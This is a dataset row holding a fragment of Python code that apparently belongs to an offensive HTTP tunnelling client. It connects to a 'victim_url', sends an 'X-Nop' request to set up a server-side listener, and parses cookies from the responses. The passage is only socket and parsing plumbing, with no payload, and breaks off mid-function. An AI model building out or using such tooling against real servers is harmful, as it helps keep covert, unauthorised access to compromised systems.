text
stringlengths
1
93.6k
class BrokenSocketException(Exception):
pass
class TransmissionError(Exception):
pass
class SocketFactory(object):
def __init__(self, victim_url, no_ssl):
self.victim_url = victim_url
self.no_ssl = no_ssl
def build_socket(self):
# connect to the server
rawsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.victim_url.scheme == b'https' or self.no_ssl:
log.debug("Using SSL")
websock = ssl.wrap_socket(rawsock, ciphers='HIGH:!DH:!aNULL')
else:
log.debug("No SSL")
websock = rawsock
_port = self.victim_url.port
if _port is None:
if self.victim_url.scheme == b'http':
log.debug("Assuming remote port: 80")
_port = 80
elif self.victim_url.scheme == b'https':
log.debug("Assuming remote port: 443")
_port = 443
else:
print("[!] No port specified and unknown scheme")
raise SystemExit
try:
# websock.connect((self.victim_url.hostname, self.victim_url.port))
websock.connect((self.victim_url.hostname, _port))
except socket.error as e:
raise SystemExit(
"[*] Cannot establish baseline connection to: {}".format(
self.victim_url, e))
return websock
def send_nop_request(socket_factory, post_factory):
"""Sends a X-Nop request and grabs the cookies"""
dummy_headers = b''.join((
b"X-Nop: 1\r\n",
b"Connection: close\r\n",
))
req = post_factory.build_request(
my_headers=dummy_headers,
# no need for a body: we're initialising the
# server-side listener
req_body=b"",
is_last=True)
log.debug("Sending \n---\n{}\n---".format(req.decode()))
websock2 = socket_factory.build_socket()
websock2.sendall(req)
resp_headers, resp_body, _cookies = split_headers(
websock2.recv(BUFFER_SIZE))
return _cookies
def split_headers(response):
_s = response.split(b'\r\n\r\n', 1)
if len(_s) != 2:
print("[ ] Server returned:\n---\n{}\n---\n".format(response.decode()))
raise SystemExit("Server did not return a valid HTTP response.")
resp_headers, resp_body = _s
log.debug("Response headers:\n---\n{}\n---\n".format(
resp_headers.decode()))
log.debug("Body consumed so far:\n---\n{}\n---\n".format(
resp_body.decode()))
if b'HTTP/1' not in resp_headers[:10]:
# then it's not a full response
log.debug("Not a full HTTP response!")
return None, response, None
# JSP returns "HTTP/1.1 200" not "200 OK"
if b'200' not in resp_headers[:20]:
print("[ ] Server did not return 200 OK; re-run with '-d' for "
"debugging info")
log.debug("Beginning of headers: {}".format(resp_headers[:20]))
raise TransmissionError
# cookie = b''
cookies = []
for _hdr in resp_headers.split(b'\r\n'):
# regexp work with strings (also: headers should be ASCII)
hdr = _hdr.decode('ASCII')
m = cookie_pattern.match(hdr)
if m is not None:
log.debug("Got cookie: {}".format(m.group(1)))
# ....aaand, turn into bytes
cookie = get_bytes(m.group(1))